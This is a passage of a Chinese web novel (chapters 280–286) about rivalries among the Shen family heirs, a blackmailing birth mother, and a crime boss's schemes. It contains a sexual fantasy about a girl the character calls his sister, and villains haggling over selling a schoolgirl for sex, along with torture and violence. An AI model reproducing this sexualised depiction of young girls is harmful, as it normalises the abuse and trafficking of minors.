细思极恐,正如沈眠枝所说,是联盟,有人企图用白蚁之势蚕食沈家这棵参天大树。她现在整个剧目的唯一知情人,她知道内奸的存在,而内奸不知道她,可一旦泄漏,这份优势将不复存在,她也随时会面临危机,所以绝对不能走错一步。 不得不说,沈龟灵这次的确帮了她一个大忙。 姜花衫扯下一张便签卡递给他,“我想看看白峥的资料。” 沈归灵早猜到她的企图,接过卡签,“好,等我回南湾整理一份发给你。” 姜花衫一愣,“你要回南湾?” “嗯,比赛已经结束了。” “结束了?”姜花衫略微有些意外,“不是你?那是沈兰晞?” 她之前还以为S国的剧情跟沈龟灵有关,看来方向找错了。 沈归灵掀眸,“他也没有赢。” 姜花衫,“……” * 兰园。 “少爷?你怎么了,输了比赛心情不好?” 高止趴在窗台上,探头伸进书房,死鱼眼里全是好奇。 好奇一:不开窍的少爷怎么过不了情关? 好奇二:少爷为什么一回来就盯着自己的字画看? 好奇三:菜鸡少爷到底撑了多久? 沈兰晞看着高悬在墙面的【静】字,脑海中全是一念而起的欲望。 他只要闭上眼,就能感觉人抱着他的腰,有人搂着他的脖子,还有人揽着他的肩,她们生同一张脸,带着恶劣又顽皮的笑。 药劲已经过去了,但他好想还在欲念里。 沈兰晞走近一步,抬手取下字画,淡淡扫了一眼,咔擦一声,【静】被拆分成了两半。 道法自然,随心所欲也是道。 高止吓了一跳,赶紧跳下窗台躲进了院子。 少爷要解开封印了,闲杂人等,速速退散! * 从菊园回来,沈归灵立马给沈谦打电话,报告了比赛结果。沈谦得知最后的胜利者是沈清予,悬着的心落了一半。虽然意外,但还是勉强也算好消息,毕竟沈清予也是二房的。 对于沈归灵没能争取陪同的机会,沈谦这次没有过多责怪,如今他重回事业高峰,权柄重握,沈归灵留在身边也不是坏事。 “阿灵,既然比赛已经结束了,你打算什么时候来南湾?” 沈谦在南湾蛰伏三年,南湾已经算是他得心腹之地,回鲸港之前他必须把南湾的势力掩藏好,沈归灵在处理萧家一事表现的周全老道,沈谦对他很满意,决定把他留在身边好好栽培。 沈归灵正在浇花,闻言,放下水壶拿起剪刀,剪下了一株幼苗的待放的花蕾。 “我中午就去向爷爷辞行。” 花蕾绽放会吸取幼苗成长的营养,导致根系发育不全,为了让幼苗最快成长,养花人一般都会剪掉幼苗所有的旁支和花蕾,强根促芽,为来年春季繁盛做准备。 就如同他,前途未卜弱不禁风,想要留住春天就必须舍断眼前。因为,南湾他必须要去,他需要权力,他必须要杀出一条血路,他要吃下南湾,他要强大。 …… 第281章 该死!麻烦越来越大了 沈渊原本还在酒局上应酬,中途忽然收到沈谦的信息,说他儿子打败了另外两个,拿到了去S国的通行券,沈渊喜出望外,老泪纵横,当场开了一瓶天价香槟庆祝。 倒反天罡的臭小子总算争气了一回! 沈渊顾不上生意,让司机开车回了沈园。 原以为臭小子肯定是一副大爷模样等着他来炫耀,不想梅园安静如斯,阿姨们围在院中窃窃私语。 一问才知道,沈清予从回来就把自己关在房间里,一个下午都没有出来。 不是赢了吗?怎么是这种反应? 沈渊越想越不对劲,担心儿子出事特意跑去沈园问明情况。 沈庄什么都没说,直接甩出沈清予的报告单,“看看吧,你儿子可比你这个老子强多了。” 报告单精准记录了沈清予受训练期间,身体和心律的各项指标,数据很漂亮,起码同为男人,沈渊知道这份定力有多难得。 不过,这什么乱七八糟的测试?沈渊神色复杂,“爸,您可千万悠着点,他们还小,弄坏了沈家绝后怎么办?” 沈庄气的不轻,“要都生出你这样的,我沈家还不如绝后。得亏清予身上没有你半点影子。” 沈渊,“……” 也不用骂这么脏吧? 沈庄一秒都不想多看,摆摆手,“你儿子没事,不过就是想考一百分,结果擦边考了个九十五,年轻气盛都一个毛病,等以后经历多了就知道了。” 在老爷子眼里,这份数据已经很漂亮了,比隔壁那俩MS的菜鸡厉害多了,虽说最后还是没有守住,但在那种条件下也是人之常情。 * 屋内。 沈清予架着二郎腿躺在床上,双手叠覆枕着后脑,神情恹恹盯着天花板发呆。 他怎么会在自己的欲望里看见小花儿呢? 虽然他对自己的道德伦理不作规范,但也不至于丧心病狂到这种地步吧?怎么能肖像自己的妹妹呢?难不成是压抑太久所以成了变态? 不可能!绝对不可能! 那只是幻觉,他被药性控制了,那傻逼根本就不是他。 可是…… 沈清予闭眼,抽出一只手挡住自己的半张脸,脑子里不觉又回想起那羞于启齿的拉扯。 他捏着她的下巴,恨不得掐死她,“……所以,你就占着我的喜欢为所欲为?” 她笑了笑,不知怎么从窗帘里走了出来,双手搂着他的脖子,“为所欲为不好吗,哥哥?” 他脑子一下空白,失去了所有力气和手段,她轻轻一推,他栽头倒下…… 场景如旋涡流转一般变回了现实里的小黑屋。 她浑身赤裸坐在他的怀里,目光在四周扫视的一圈,笑得狡黠,“你瞧,你心里是分辨得清楚的。” 眼下不是在顾公馆的房间,而是在他每次训练的小黑屋,在那个他被药性控制之前自主躺下的躺椅里。 她像猫一样攀附着他的肩膀,“怕什么?欲望而已,就算有罪谁又知道呢?” 这一瞬间,之前所有的抵抗和挣扎都成了笑话。 他抬手,轻轻摸上她的侧脸,“上来。” 诚如沈清予所说,换一张脸他能大战三百回合,但后面还有一句,若用这张脸,八百回合直接要了他的命。 歹命! 沈清予一下惊坐起。 不行! 他可以是变态杀手,变态狂徒,甚至是变态gay佬,但绝不能是变态色魔,不然小花儿就危险了! 沈清予捂着炸裂的头四下环顾,他这么龌龊应该没有第二个人知道吧? 天衰啊! 要是让隔壁二傻知道他是这么赢的,肯定会让爷爷把他赶出沈家的。 他甚至都能想到那天的画面。 沈兰晞满脸厌恶,“有辱门风,我早就说过,你这种败类做不了沈家家主。” 沈归灵一脸婊气,“你真是个废物。” 爷爷痛心疾首,“清予,你太让我失望了。” 还有小花儿…… “沈清予, 你好恶心!” “啊啊啊啊啊!!!!” 画面四分五裂,他被打入万丈深渊。 “叩叩叩——” 这时,门外忽然响起一阵急促的敲门声。 沈清予浑身颤抖,一下惊醒。 “清予啊,你的成绩爸爸看了,很厉害啊,你已经做的很好了,简直就是男人中的顶配。” “……” 沈清予擦了擦额头的冷汗,眸光幽暗看向房门。 门外,沈渊一手端着海参粥,贴着门板听了一会儿,见没回应又语重心长道,“阿予,这种事你别犟,还是得听听爸爸这个过来人的经验。就第一次的成绩来说,你已经是天赋异禀了,对男人来说就算是天上嫦娥下凡也不过如此了,你……” “咔擦——” 话没说完,房门半开,沈清予倚在门框,双手抱胸眼皮低垂,像看死人一样看着沈渊。 十八岁的少年已经有了大树的轮廓,就算背脊没有挺直也已经高过了他的父亲。 “……” 怎么是这副表情,刚刚不是夸他来着? 沈渊清咳了一声,递上手里的海参粥,“今天累了吧?爸爸特意让人给你做的,补补元气。” “滚。”沈清予冷冷吐出一个字,‘砰’的一声,房门再次关上。 “臭小子!” 他饭都没吃就了赶过来,这臭小子就是这态度? 沈渊一时怒极,端起碗准备砸门,可刚一抬手怒火又被强行压住。 以前也不是没暴躁过,但沈清予回击更决绝,直接离家出走了三个月。后来好不容易劝回来,他当天就拿着要断绝父子关系的协议书让他签字,要不是老爷子出面劝和,他差点就断后了。 思及此,沈渊嘴角抽搐,仰头把一碗海参粥干了。 他还没吃饭,正好垫垫胃。 沈清予转入房间,不可一世的眉眼顷刻被摧毁。 “该死!麻烦越来越大了。” …… 第282章 多出的算保护费 【O椰:警告!你已经两天零五个小时三十三分没有来探望病人了!!!】 最后三个感叹号是傅绥尔下的最后通牒。 姜花衫无奈,只好让张茹打包一笼汤包去医院探病。 傅绥尔的病房在VIP顶层,为了确保她的安全,沈让调来一个分堂的人手把一层楼都围了起来。 姜花衫是熟面孔,电梯送到顶楼时畅通无阻。 但有些人待遇就没这么好了。 傅嘉明面红耳赤指着看守的保镖,“你们凭什么拦着我?我来看自己的女儿难道还要你们沈家同意?沈娇呢?让她来见我?” 姜花衫站在入户大堂,看着傅嘉明被沈家的保镖请进电梯。 要不是亲眼所见,她简直不敢相信,眼前这个面色阴沉、轻浮脱相的男人竟然是傅嘉明。 上一世,傅嘉明利用傅绥尔牵制沈娇,外面又养着小三,可谓春风得意。 看来断腿和绥尔叛变,对傅嘉明的影响不是一丁点。 “姜小姐,这边请。” 姜花衫迅速调整心情,脚步轻快走向病房。 房门推开时,傅绥尔正百无聊赖看着手机,满脸不开心,“真是没良心,竟然连消息都不回。” “嗯,是谁在背后蛐蛐我?好吧好吧,这刚出炉的小汤包我拿走了。” 傅绥尔眼睛一亮,笑着朝她招手,“你怎么来了?快进来!” 姜花衫,“我敢不来吗?是谁说的,要再不来就取消我嫡长闺的地位?” 傅绥尔哈哈大笑,抱胸抬着下巴,“你知道怕就好,你真要好好反省,枝枝来的都比你勤。” 这怪谁?姜花衫笑了笑没有斗嘴,晃了晃手里的饭盒,“所以这不是拿着小汤包来赔罪了?” 两人两天没见,仿佛两只闲猹窜进了瓜田,有聊不完的八卦,蛐蛐不完的人。 傅绥尔听完苏妙真假千金故事,就恨手里没个瓜子,一脸惊呼,“天!苏家还有这么大的瓜?听你这么说,她那个妈妈感觉不像是好人,苏妙岂不是太可怜了?” “是有点可怜。”姜花衫一想到苏妙未来的结局,不免有些唏嘘,“绥尔,这件事你一定要先保密,任何人都不能说。” 经历了这么多事,两人之间的默契已经不需要再多说一句,傅绥尔点头,忽然想到什么,开口道,“你刚刚说你们遇到了乔金锦,他也回来了?” 姜花衫嗯了一声,转移话题,又说起了三傻比赛的事。 傅绥尔得知沈清予爆冷胜出也是一副难以置信的表情,“这下二房该高兴坏了。” 虽然她不讨厌沈清予和沈归灵,但是对二房还是喜欢不起来。 姜花衫见她心情大好,犹豫片刻问道,“刚刚……” 傅绥尔知道姜花衫想问什么,耸了耸肩,“嗯,傅嘉明来了,不过还没进房间就被赶出去了。” 当时的动静闹的很大,她在房间听的一清二楚,因为不想面对所以也就没有声张。 闻言,姜花衫轻轻拍了拍傅绥尔的手背。 傅绥尔抿嘴笑了笑,握住她的手,“放心吧,我没事儿。以前想起他的时候免不了会伤心,会有舍不得,不过现在已经好多了,我现在有那么多爱我的人,不差那一个。” “你能这么想是我小瞧你了。” 傅绥尔正要得意,脸色忽然凝重,“有一点我没想明白,傅家这三年来一直对我不闻不问,这次傅嘉明为什么会有这么大的反应?还亲自找到医院里来,我不信他是因为良心发现突然想弥补,我总觉得这里面肯定有什么阴谋!” 随着沈娇之死的时间线越来越近,傅绥尔脑子里的弦也越绷越紧。 那晚,她已经察觉出了姜花衫的与众不同,所以在她心里那份预言就是未来的宿命。 姜花衫也明白傅绥尔在担心什么,小声安慰,“放心吧,不管他们有什么阴谋都一定不会得逞。现在最重要的是你要快点好起来,未来还有好多事等着我们一起去做。” 两人正说着,姜花衫的手机忽然连续震动!一下接一下,没完没了。 她愣了愣,从口袋里掏出手机。 此时的谈话框还在不停的弹消息。 “……” 傅绥尔不由好奇,“谁啊?” “苏妙。” 姜花衫将设置改成免打扰,不然要被苏妙没完没了的感叹号烦死。 【我的命好苦:!!!!!!!!!】 【我的命好苦:?????????】 …… 【我的命好苦:啊啊啊啊!江湖救急!!!!!!!!!】 【我的命好苦:那个女人又来找我了!!!她威胁我,如果不出来见面,就要把事情抖出来?怎么办??????呜呜呜呜,我的命怎么这么苦,没有人爱我就算了,还有个刁妇想害我!!!!!】 【我的命好苦: 啊啊啊啊!怎么办?怎么办???】 【我的命好苦:不行,我不能退缩,不能让她看出我好欺负。决定了,待会儿你陪我一起去!】 【我的命好苦:求求你了,我有钱!!!!!!!】 姜花衫,“……” 隔着屏幕,她都能感受到苏妙现在有多精分。 姜花衫直接把手机递给傅绥尔。 傅绥尔扫了一眼,“要去吗?” 姜花衫点头,“嗯。” 之前她一直以为,所有炮灰的命运是因为标签影响,但经过国贸天台事件后,她有了不一样的认知。 如果沈眠枝、傅绥尔、沈娇、甚至爷爷,都是这巨大阴谋里的一环,那么真假千金有可能也是,甚至她还有一个更大的猜想。 或许她们之间存在某种共同联系,相互影响着对方的因果,否则又怎么解释为什么她独独能看见傅绥尔、沈眠枝、苏妙和周绮珊四个人的标签? 之前沈归灵提醒她男团的线不能再用,她就已经在策划怎么发展下一条路线了? 就算苏妙不提,她也打算去探探真假千金这条故事线,如果这背后真有什么阴谋,苏妙这个亲生母亲一定不简单。 姜花衫指尖飞快输入。 【关你peaCe:十万出场费,二十万封口费。】 下一秒。 【暴富宝到账五十万元。】 【我的命好苦:多出的二十万算保护费。】 【我的命好苦:那女人要是欺负我,你记得抡她!!!!!!!!】 姜花衫,“……” …… 第283章 幕后黑手 某居民楼底下赌场。 “她回消息了,说在北湖湾公园里的咖啡馆见面。” 苏莉捧着手机,一脸谄媚看着眼前的光头,“赵哥?” 光头撵灭手中的烟蒂,起身从一个黑皮袋里拿出一叠现金,“知道该怎么说了?” 苏莉两眼放光,朝男人抛了个媚眼,“知道知道,您就放心吧。” 男人又抽出一根烟叼在嘴里,眼神阴冷,“另外那件事也得抓紧,上面的人都等着。” 苏莉眼神一转,扭着屁股抱上男人的胳膊,“赵哥,那死丫头精明着,不太好骗。” 光头微微眯眼,苏莉立马变换表情,拍了拍男人的胸膛。 “不过您放心,我已经想到办法了,就是……就是……”说着,故作为难搓了搓手指,“就是还差点意思。” 男人睨了她一眼,伸手从黑袋子里又拿一叠更厚的,“够不够?” “够,够够够!”苏莉眼神贪婪,盯着厚厚的钞票挪不开眼。 男人脸色一沉,抬手卡住她的脖子,像拎小鸡一样拎着她,“办好了,这些都是零头,要办不好,这些钱就是你棺材费。” 苏莉脸色微变,小心翼翼抱着钱,“赵哥,你放心。” 光头脸色稍霁,他倒是不怕这女人反水,控制了这么多年,苏莉早就被他们驯化成了贪兽,怕就怕她蠢,影响了上面的计划。 男人思忖片刻,抽出几张钞票塞进女人几欲喷涌的深沟。 “不行就用用手段,一个黄毛丫头,调教调教就听话了。你想办法把人领过来,其余的就不用管了。” “明白。” 苏莉应下,可男人的手还在越界的位置上,她抬眸看了男人一眼,立马娇笑起来,主动抓着男人的手往里面摸,“赵哥~” 光头一把推开女人,从衣服口袋掏出打火机,“别他妈给老子发骚,赶紧滚,事办不好把你卖给奶厂。” “是。”苏莉陪着笑捡钱,卑躬屈膝出了房间。 “呸!”一出房间,苏莉转头变脸,阴恻恻骂道,“脱了裤子Y不了一分钟的软蛋,当老娘稀罕?” 苏莉顺着狭小的楼梯而上,刚转上一楼,各种谩骂、嘈杂的声音扑面而来。 这是一家地下赌场,玩什么的都有,这些赌徒都是附近游手好闲的地痞流氓。密不透风的空间里,男人们大多上身赤裸,嘴里叼着烟吞云吐雾。 在这群男人眼里,烫着金色波浪,描眉涂红的苏莉已经算是人间尤物了。 苏莉是个老赌鬼,这里的人几乎都认识她,穿过人群时,不少人熟稔摸腰掐臀,这种够得上性骚扰的打招呼方式,对苏莉而言已经习以为常,甚至因为今天拿了钱,她还开心地和骚扰者调情。 “阿莉,看来今天遇见老板了,要不要玩几把啊?” 苏莉倒是有些意动,但一想到光头男的手段还是笑着拒绝了。 “不了,改天来扳本。”说着,转头出了赌场。 “阿莉。” 她刚走出居民楼,身后有个男人追了出来。 男人姓李,是个小包工头,赌场的人都叫他李老板。 苏莉假笑着招呼,“哟,李老板啊,什么事儿啊?” 男人从夹克抽出一小叠现金,“这里是两千块,你看,什么时候把你家那丫头领出来?” 苏莉摆手,把钱推了回去,“那是之前的价格,现在得这个数。” “多少?五千?你个贪婆娘,怎么不去抢?” 之前苏莉欠了一屁股赌债,就想着把苏韵卖了换钱,李老板就是她找的买家。 李老板原本嫌两千的价格太贵,想压压价,碰巧前几天路过弄堂的时候遇上苏韵放学回家,一下就被勾了魂,几番斗争才下了血本,不想苏莉竟然中途抬价。 “嫌贵,那你再等几天吧,等那丫头被开了苞就按原来那价?” “被玩过的?”李老板有些不乐意,他当时就是图新鲜才愿意花两千的。 苏莉白了他一眼,“就我家那丫头的模样,放哪个会所不是十万二十万元一晚?舍不得就给我滚,别耽误老娘做生意。” 李老板舍不得五千,又想尝鲜,把心一横将手里的两千递给苏莉,“成!说好了!钱我先付。” 苏莉一改泼辣,朝男人抛了个媚眼,“放心,你这两千绝对不白花,我那女儿可是个宝贝,你以后就知道了。” 说罢,扭着水蛇出了居民楼。 * 另一边,苏莉刚出房间,光头男立马锁门,转入秘密通道。 尽头有一扇钢板门,上面是虹膜识别的密码锁。 光头按照手机指示输入密码通行。 大门的另一边是个废弃的房间,走出去映入眼帘的是座废弃的钢铁冶炼厂。彼时楼上玻璃房的所有房间都亮着白炽灯。 光头男顺着钢架楼梯而上,发出踏踩声引起了巡逻的注意,几个人持枪的男人出来看了一眼,见是熟人又回到了房间。 穿过长廊,光头走到一间最大的房间前,轻轻叩了叩玻璃门,“老板。” “进来。” 得到允许,光头推门而入。 房门打开的瞬间,血腥味扑鼻而来。 夏星沉双手抱头倒在地上,身边围着四五个壮汉,他们每个人手里都拿着一根三指粗的钢管,始作俑者坐在真皮椅里背对着众人,手里夹着一根雪茄。 光头扫了一眼屋内的环境,默不作声退到一边。 男人声音阴沉,“这么小的事都办不好,星沉,你真是太让我失望了。” 夏星沉捂着流血的伤口,咬牙坐了起来,“老板,狙击当时瞄准的的确是沈眠枝。” “是吗?”男人弹了弹烟蒂,按住按钮,椅子慢慢回正,“那你给我解释一下,为什么最后受伤的是傅绥尔,你不知道她是我的女儿吗?” …… 第284章 这局我不入 傅嘉明脸色阴沉,拿着带火星的雪茄对着夏星沉的脸砸了过去。 “你胆子挺大啊,差点误杀了我的女儿。” 火星砸在夏星沉的侧脸,烫出了一个血泡,但他没有反抗,只是如实解释,“老板,当时瞄准的是沈眠枝,后来有人从中阻拦,傅小姐为了保护那个人冲到了最前面,所以才误伤了傅小姐。” 傅嘉明像看狗一样看着眼前的少年,“开枪的都已经被处理的,剩下的不就是你一张嘴?” 那晚沈家暗堂突然出现,打乱了他们所有的计划,傅嘉明得知最后中枪的是傅绥尔,一怒之下直接灭了狙击手。 夏星沉低下头,“老板,对不起,我愿意接受任何处罚。” 傅嘉明朝打手们使了个眼色,“把他丢进电击房。” 男人们用钢筋架住沈星辰脱臼胳膊,把人拖了出去。 待人走后,傅嘉明指着下手的座位,“苏家那边交代清楚了?” 此时的光头全然没有了在苏莉面前的做派,谨小慎微点了点头,“苏家那丫头年岁不大,只要苏莉按我们说的做,那丫头一定会投鼠忌器为我们所用。苏家怎么都不会想到,他们千宠万娇的女儿最后竟然成了我们的内应。” 总算来了个好消息,傅嘉明脸色缓和了一点,“苏家那个真丫头呢?入会的事还没有搞定?” 光头立马接话,“傅爷您放心,我们已经想到办法了,左右也不过一个月的时间,那丫头逃不出我的手掌心。” 傅嘉明满意地点了点头。 教会里的交易错综复杂,之前不是没尝试与苏家联盟,但苏家迟迟没有表态,苏敬琉那个老东西一直在打太极,他倒要看看,要是自己家的千金落进这泥塘,苏家以后还怎么摘干净? 见傅嘉明脸色转好,光头悬着的心也跟着松了一口气,立马起身给傅嘉明倒茶,“傅爷,金山的地咱们还跟不跟?” 一说到金山,傅家脸色又变得难看。 原本他们做了这么大的局就是想逼着萧家吐出金山的开发权,可绕了一圈最后竟给沈家做了嫁衣,但更让他没想到的是,沈庄竟然把这么大一块蛋糕留给了沈娇,最最扎心的是,沈娇竟然能拿出两千亿! 两千亿!!! 当初两人离婚时,傅嘉明怕沈娇惦记他名下的财产,提出了一个要求,要孩子就必须放弃分割财产,为了博取好名声,他也大度表示自己看不上沈娇那点嫁妆,以后桥归桥路归路,互不干涉。 现在想起当初的决定,傅嘉明恨不能抽自己一巴掌,那个贱妇这么有钱竟然瞒着他。 傅嘉明端着茶水猛灌了一口,“先把资金撤回来。” 这局已经败了,没有任何扭亏为盈的胜算,眼下最重要的是筹谋一局新棋。 他拿出手机,点开通讯录,手指飞快输入: 【苏家那边已经开始放钩了,起钓的时候通知你?】 对方恢复很快。 【不必,这局我不入,你们跟。】 傅嘉明冷笑了一声,还真是谨慎,难怪撑了这么多年都没有人发现。傅嘉明收了手机,指尖动了动。 光头立马起身从雪茄柜取出一根雪茄,剪茄,点火,服务周到。 傅嘉明低头看着指尖的火星,忽然!脑子灵光一闪,翘起二郎腿,“去,把星沉带过来。” 光头一愣,虽然不解却还是起身照做,没一会儿,夏星沉被拖着进了房间。 “老板。”壮汉把人扔在傅嘉明脚下。 傅嘉明俯下身,一手钳住夏星沉的下巴,眯着眼细细打量。 “星沉,你觉得我女儿怎样?” * “不行!带上录音笔,省得那个女人耍花招。” 苏妙戴着渔夫帽,临出房间又折回去拿眼镜,走出客厅看见桌上有把精致的水果刀,琢磨了一会儿趁阿姨不注意,偷偷塞进包里。 苏灼从外头进来,见她鬼鬼祟祟,不由好奇,“怎么了,跟小偷似的?” 苏妙吓了一跳,强装镇定抚弄刘海,“没……没怎么?” 苏灼看了她一眼,随手挑了个苹果,“要出去吗?去哪啊?下午正好没课,要不要我开车送你?” “不要!”苏妙抬手拒绝,“我自己坐公交去。” 苏灼被她逗笑,“你能找到站牌吗?” 苏妙一脸生无可恋,“找不到也要找到,谁让这就是我的命。” “嗯?嘀嘀咕咕说什么?” 苏妙摇头,“没什么,总之不要你管。” 这小孩儿叛逆心又来了?苏灼无奈,眼神宠溺,“我是你哥,我不管你,谁管你?” 苏妙把头瞥到一边,摆出一副坚强隐忍的模样,“我这一生已经注定了,你以后也别在我身上花心思了,这样只会变成我的累赘。”说完,迈着沉重的步伐跑出了客厅。 苏灼一头雾水,“在演话剧?” “阿灼。”苏老爷子扶着楼梯下来,四处看了看,“那丫头了?又出去疯了?” 苏灼站起身,“嗯,刚出去。” 苏敬琉走到沙发坐下,“你上次去学校的时候查清楚没有?妙妙是不是结识了什么不三不四的朋友,被带坏了?” 最近整个人疯疯癫癫的,前两天喝的酩酊大醉,被齐家小子送回来,还抱着人家的大腿不肯下车,哭着说这不是自己家,不知道的,还以为他们苏家拐卖人口。 苏灼摇头,“爷爷,您多虑了,除了周家妹妹,都没有人愿意跟她玩,谁还能带坏她?” 苏敬琉更不高兴了,“我们家妙妙这么可爱,那些人眼瞎了?为什么不跟她玩?” 苏灼哪敢回话,转头扯开话题,“阿姨,水果刀呢?” 阿姨立马从厨房出来,围着果台找了一圈,“奇怪,我早上明明放这的。” 这也不是什么大事,苏灼并未放在心上,换了个剥皮的水果。 这时,苏管家领着周绮珊从外面走了进来,周绮珊手里拿着自己烘焙的小饼干,笑着跟苏敬琉和苏灼打招呼。 “苏爷爷好,阿灼哥好,妙妙呢?我做了一些点心想请她一起品尝。” 苏灼微愣,看了苏敬琉一眼,“她刚刚出去了,怎么?不是跟你约好的吗?” 周绮珊错愣,摇摇头,“出去了?” 苏敬琉看出了周绮珊的失落,笑着寒暄,“那丫头没口福,来,给苏爷爷尝尝。” 周绮珊勉强笑了笑,寒暄了几句留下礼物就回去了。 待人走后,苏敬琉起身踹了苏灼一脚,“看见了?那丫头外面肯定有人了,这段时间这么反常保不齐就是交了什么坏朋友,你赶紧查查!” …… 第285章 被操控的人生(福利加更) 姜花衫先到的咖啡馆,苏妙赶到时咖啡杯都已经空了一半。 没想到这花鲢鱼这么仗义,有事她是真来。 苏妙赶紧入座,开门见山,“那女人说,如果我不来见她,她就上门去找我妈,所以……” 姜花衫扫了她一眼,不咸不淡,“她这摆明了是要挟你,你想清楚,被要挟了一次后面就有无数次。或者,你其实可以向苏家坦诚,这件事严格来说你也算受害者,苏爷爷就算再生气也怪不到你头上来。” 苏妙一脸惆怅,“可是我舍不得,舍不得他们。” 姜花衫没有接话,舍不得是人之常情。 “不过……”她语气一变,紧紧抱着怀里的包,“我刚刚在来的路上已经有主意了。” 那个女人要真有别的企图,她就算是拼了这条命不要也不会让她得逞。 姜花衫指了指隔壁的卡座,“咱们俩先分开坐,你不是想知道那女人的意图吗?她要是看见我,未必会说实话。” 苏妙想想也觉得是这个道理,抱着书包换了个座位。 等了半个小时,苏莉踩着一双豹纹恨天高姗姗来迟,环顾了一圈发现苏妙全副武装坐在角落,眉梢一扬,扭着腰上前打招呼。 “不好意思啊,堵车,等很久了吧?” 苏妙看着眼前俗不可耐的女人,心里五味杂陈。 苏莉自来熟入座,拿着菜单看了一眼又放下,这种花里胡哨的东西还不如一杯啤酒来的解口。 察觉到苏妙一直盯着自己,苏莉故意端出最和善的笑,“妙妙,咱们还是换个地方聊吧?” 苏妙脸色难看,“我跟你不熟,妙妙不是你可以叫的。” 苏莉有些不悦,“这就是你跟亲生母亲说话的态度吗?” 苏妙忍着泼水的冲动,木着脸,“说吧,你找我出来想做什么?” 苏莉抬头往四周看了看,见大家各忙各的,没人在意她们,便压低了声音说道,“既然你现在已经知道了真相,有些事我也就明说了。你的命是我给的,甚至你眼前的生活也是我替你谋划的,你已经享了十六年的福,是不是也该回报回报我了?” 苏妙怎么都没想到自己的生母竟然是个这么可耻的人,可耻到她一想到身体里流着这个女人的血就想一头撞死。 “你别这么看着我。”苏莉习惯性从包里拿出一根香烟,正准备点火,服务人员立马上前阻止。 “您好女士,这里是禁烟区。” 苏莉瞥了一眼,把烟收了回去。等服务员走远,两人话题再次展开。 “我知道你心里很难接受,但这就是现实,你只能接受。其实你不必紧张,也不需要有这么大的敌意,我是你的亲生母亲,我怎么可能害你?” 这女人说的话她一个字都不信。 苏妙冷着脸,“你今天约我出来到底想做什么?” 苏莉,“能做什么?我女儿现在是苏家千金,我自然是想跟着沾点光。” 姜花衫单手托腮,仔细聆听耳机里的对话。 饶是她一位看客,在听见苏莉的话后也不禁跟着心寒了几分,就更别提苏妙了。 苏莉见女孩儿不接话,又继续说道,“我也不会麻烦你,就是最近赌博输了一点,想问你要点钱。苏家人这么宠你,这种小事应该不算为难吧?” 苏妙冷笑,“只是想要钱?” 当然不是。 钱只是一个突破口,用钱建立以后的黏性,这次是钱,未来的某天就有可能是苏敬琉书房里的某封机密文件。 但苏莉不会说实话,笑着应付,“对啊,是不是很划算啊?” 苏妙摇头,“那如果我拒绝呢?” 苏莉脸上的笑容深了几分,“那我也只能抱歉通知你,你的千金之旅要结束了。苏夫人应该很想知道自己的亲生女儿现在在哪吧?不过,有点不妙,这几年我日子过的也不好,那孩子跟着我吃了不少苦,小小年纪就辍学打工了,不过她比你有孝心,听说我欠了钱,在门口挂了红布就把自己卖了。” 苏妙震惊,她被苏家保护的很好,这种困境是她根本无法想象的。 姜花衫抬眸,指尖沿着杯壁慢慢绕圈。 这个女人撒谎。 可是,她为什么撒谎?是为了恐吓苏妙?还是她提前说出了自己的计划? 苏莉摸爬滚打这么多年,对付苏妙这种没受过社会毒打的大小姐还是绰绰有余,想着自己是带任务来的,必须要有交代,她故意风轻云淡加重筹码。 “你说,苏家人要是知道自己的女儿过的这么惨,而你这个假货却被千娇万宠长大,他们会不会记恨你?或者,那个孩子要是知道是你替代了她,会不会想办法把你赶出去?” “一个是亲生的,一个是抱错的,你说苏家人最后会怎么选?要是苏家人不要你,你就只能跟着我?可我也是个女人,也就这点本事,养活自己都成问题,何况是你?” 苏妙死死抱着手里的包。 苏莉展眉一笑,“所以说眼下这样就最好,你放心,那丫头有我看着绝对蹦不到苏家面前,只要她不出现你就永远都是苏家大小姐。” 苏妙面无表情打开书包,伸手握着刀柄,正要抽刀,脑子一嗡。 等她回过神时,人都吓傻了。 这个女人说的对,如果事情被泄露,就算爷爷不赶她走,真千金也会赶她走的。 她不想过苦日子,更不想被迫卖身替这个坏女人还赌债。 不能让她说出去! 一定要守住这个秘密!!! 姜花衫指尖微微一顿,目光静静落在苏妙的头顶上。 绿色的荧光一圈一圈扩大… 【毒舌、虚荣、恶毒、善妒、正义】五个标签如傀儡提线操控着苏妙的一言一行。 “只要你替我保守这个秘密,你要多少钱我都给你。” …… 第286章 打断施法 眼看苏妙就要掉进自己的陷阱,苏莉眼中的笑容越发得意。 “这就对了,咱们是亲生母女,我又怎么会害你?你放心,我也不是不知足的人,你给我这个数,我还了赌债保证不打扰你的富贵生活。” 苏妙看着她的手势,“五万?” 苏莉撩眼,“说什么笑呢?你可是堂堂苏家大小姐,五万还不够买你一个包,五十万。” 苏妙垂眸,眼神有些懊恼,早知道就不该多转姜花衫二十万了,一时半会儿让她上哪凑五十万? “怎么?你该不会是想说你连这点小钱都拿不出来吧?妙妙,这可就没意思了。” 苏妙有些厌烦,语气不太好,“我说了,不要叫我的名字!你钱的事,过几天再转你。” 苏莉也不想把人逼急了,见好就收,点头道,“行,那我们加个联系方式,要是你不方便出来可以直接转账。” 苏妙被这女人贪婪的样子恶心到了,她不想被牵着鼻子走,可又放不下心中的顾忌,最后只得不情不愿拿出手机。 苏莉正要扫码,一杯冰冷的咖啡从天而降对着苏妙直面泼了过来。 “啊!” 苏妙躲闪不及,发出短促的尖叫声。 咖啡溅飞,连苏莉的手机也没能幸免。 苏莉大怒,抬头看向始作俑者,待看见姜花衫那张脸时微微一怔。 对于漂亮又年轻的女生苏莉向来没什么好感,尤其是漂亮过头的,她站起身,用力推了姜花衫一把。 “你这人,怎么上来就动手啊?” 方才的动静已经引起了其他客人的注意,店员生怕两边起冲突赶紧上来劝和。 “女士,请您注意您的态度,不可以动手。” 苏莉指着还在笑的姜花衫,“你们眼瞎了,是她先泼我们的。” 店员转头看向姜花衫,姜花衫无辜耸了耸肩,“不是呢,刚刚脚崴了一下,手不小心滑了。” 颜值即正义。 店员点头,看向苏莉,“女士,这是个误会。” “误你……”苏莉一下噤声,及时反应过来看向苏妙。 苏妙低着头,咖啡顺着她的刘海一滴一滴落在桌面上,但眼下她根本无暇顾及身上的狼狈,眼里满满的震撼错愣。 这是泼傻了? 还以为这丫头多有能耐,结果被欺负了连个屁都不敢放,真是白瞎了苏家这座大山。 苏梨暗暗腹诽。 姜花衫双手抱胸,“不好意思,干洗费多少我出。” “不用。”苏妙哑着声音,拿着桌上的湿毛巾擦脸。 姜花衫也没有勉强,转身回到自己的座位。 